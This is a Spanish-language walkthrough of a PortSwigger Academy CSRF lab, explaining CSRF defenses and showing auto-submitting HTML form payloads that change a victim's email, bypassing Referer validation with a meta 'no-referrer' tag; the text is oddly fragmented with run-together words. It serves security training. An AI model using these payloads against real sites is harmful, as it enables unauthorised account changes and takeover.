CSRF Lab 11
Skills
- CSRF where Referer validation depends on header being present
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
La funcionalidad
de cambio
de correo electrónico
de este laboratorio
es vulnerable
a CSRF
. Intenta bloquear
las solicitudes
entre dominios
, pero tiene un fallback
inseguro. Para resolver
el laboratorio
, usa tu Exploit server
para alojar una página HTML
que utilice un ataque CSRF
para cambiar
el correo electrónico
de la víctima. Puedes iniciar sesión
en tu propia cuenta utilizando las credenciales wiener:peter
Resolución
Al acceder
a la web
vemos esto
Al pulsar sobre My account
y nos logueamos con la credenciales wiener:peter
Vemos que podemos cambiar
nuestro email
Para resolver
el laboratorio
, debemos explotar
un CSRF
, el cual es una vulnerabilidad
de seguridad web
que permite a un atacante
inducir a los usuarios
a realizar acciones
que no tienen intención
de realizar. Permite a un atacante
eludir parcialmente la política
de same origin
, que está diseñada para evitar que diferentes sitios web
interfieran entre sí. Para que sea posible un ataque CSRF
, deben cumplirse tres condiciones clave
Una acción relevante
- Hay unaacción
dentro de laaplicación
que elatacante
tienemotivos
parainducir
. Puede ser unaacción privilegiada
(comomodificar
lospermisos
de otrosusuarios
) o cualquieracción
sobredatos específicos
delusuario
(comocambiar
lacontraseña
delusuario
)Manejo de sesiones basado en cookies
- Pararealizar
laacción
, se debenemitir
una o mássolicitudes HTTP
, y laaplicación
se basa únicamente en lascookies de sesión
paraidentificar
alusuario
que realizó lassolicitudes
. No existe ningún otromecanismo
pararealizar
elseguimiento
de lassesiones
ovalidar
lassolicitudes
de losusuarios
Sin parámetros de solicitud impredecibles
- Lassolicitudes
que realizan laacción
no contienen ningúnparámetro
cuyosvalores
elatacante
no puedadeterminar
oadivinar
. Por ejemplo, alhacer
que unusuario
cambie sucontraseña
, lafunción
no esvulnerable
si unatacante
necesitasaber
elvalor
de lacontraseña existente
Las defensas
más comunes
contra ataques CSRF
con las que nos podemos encontrar son las siguientes
Token CSRF
- Es untoken
único, secreto e impredecible generado por elservidor
ycompartido
con elcliente
. Para realizar unaacción sensible
, comoenviar
unformulario
, elcliente
debe incluir estetoken
. Esto dificulta que unatacante
generesolicitudes
válidas en nombre de lavíctima
Cookies SameSite
-SameSite
es unmecanismo
deseguridad
delnavegador
queregula cuándo se incluyen las cookies en las solicitudes de otros sitios web
. Dado que lassolicitudes
para realizaracciones sensibles
suelen requerir unacookie válida
, es decir, unacookie
que haya sido asignada tras unaautenticación válida
, lasrestricciones
que aplicaSameSite
pueden impedir que unatacante
desencadene estasacciones
. Desde 2021,Chrome aplica por defecto las restricciones Lax SameSite
, dado que este es elestándar
, se espera que otrosnavegadores
también loadopten
Validación basada en Referer
- Algunasaplicaciones
hacen uso de lacabecera HTTP Referer
para intentardefenderse
deataques CSRF
, normalmenteverificando
que lapetición
seoriginó
en el propiodominio
de laweb
. Esto suele ser menos efectivo que lavalidación
detokens CSRF
Aparte de las defensas que emplean los CSRF tokens
, algunas aplicaciones hacen uso del HTTP Referer header
para intentar defenderse de los ataques CSRF
, normalmente verificando
que la solicitud
se originó
desde el dominio
de la aplicación
. Este enfoque generalmente es menos efectivo
y suele ser susceptible de ser eludido
El HTTP Referer header
es una cabecera de solicitud opcional
que contiene
la URL
de la página web desde la que proviene una solicitud. Normalmente, los navegadores la agregan automáticamente cuando un usuario desencadena una solicitud HTTP
, ya sea al hacer clic
en un enlace
o al enviar
un formulario
. Existen varios métodos que permiten que la página desde la que proviene la solicitud retenga o modifique el valor del Referer header
, lo cual, se hace a menudo por razones de privacidad
Si nos abrimos
las herramientas de desarrollador
de Chrome
vemos que el atributo SameSite
tiene el valor None
Inspeccionamos
la forma en la que se crea
el formulario
de cambio
de email
para usarlo
como plantilla
a la hora de construir
nuestro payload
Creamos
el payload
y lo copiamos
en el Exploit server
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://0a38008204f6d4ef9c0ef998009e00c3.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Al hacer click
en View exploit
el ataque no funciona y nos arroja
este mensaje
Si nos dirigimos a la extensión
de Burp Suite Logger++
y revisamos la petición
que acabamos de realizar, vemos que la cabecera Referer
hace referencia a nuestro servidor de exploits
Si nos fijamos en la petición
que hemos hecho al principio
de cambio
de email
, vemos que esa sí que ha sido exitosa
y que la única diferencia
con la actual es el valor
de la cabecera Referer
Algunas aplicaciones validan el Referer header
cuando está presente
en las solicitudes
, pero omiten
la validación
si el encabezado
está ausente
En esta situación, un atacante
puede crear
un exploit CSRF
que haga que el navegador del usuario víctima elimine el Referer header en la solicitud resultante
. Existen varias formas de lograr esto, pero la más fácil es utilizando una etiqueta META
dentro de la página HTML
que aloja el ataque CSRF
1
<meta name="referrer" content="never">
Si borramos
la cabecera Referer
si que nos acepta
la petición
como válida
De acuerdo con la documentación
de Mozilla
https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referrer-Policy podemos usar la etiqueta <meta>
para que se ignore
la cabecera Referer
. Con esta información nos dirigimos al Exploit server
y modificamos
el payload
anterior
1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<body>
<head>
<meta name="referrer" content="no-referrer">
</head>
<form action="https://0a38008204f6d4ef9c0ef998009e00c3.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Si pulsamos sobre View exploit
veremos que no nos arroja ningún error
y nos cambia
el email
correctamente. Para completar
el laboratorio
debemos cambiar
nuestro email
o cambiar el email
usado en el payload
debido a que no puede haber dos usuarios con el mismo email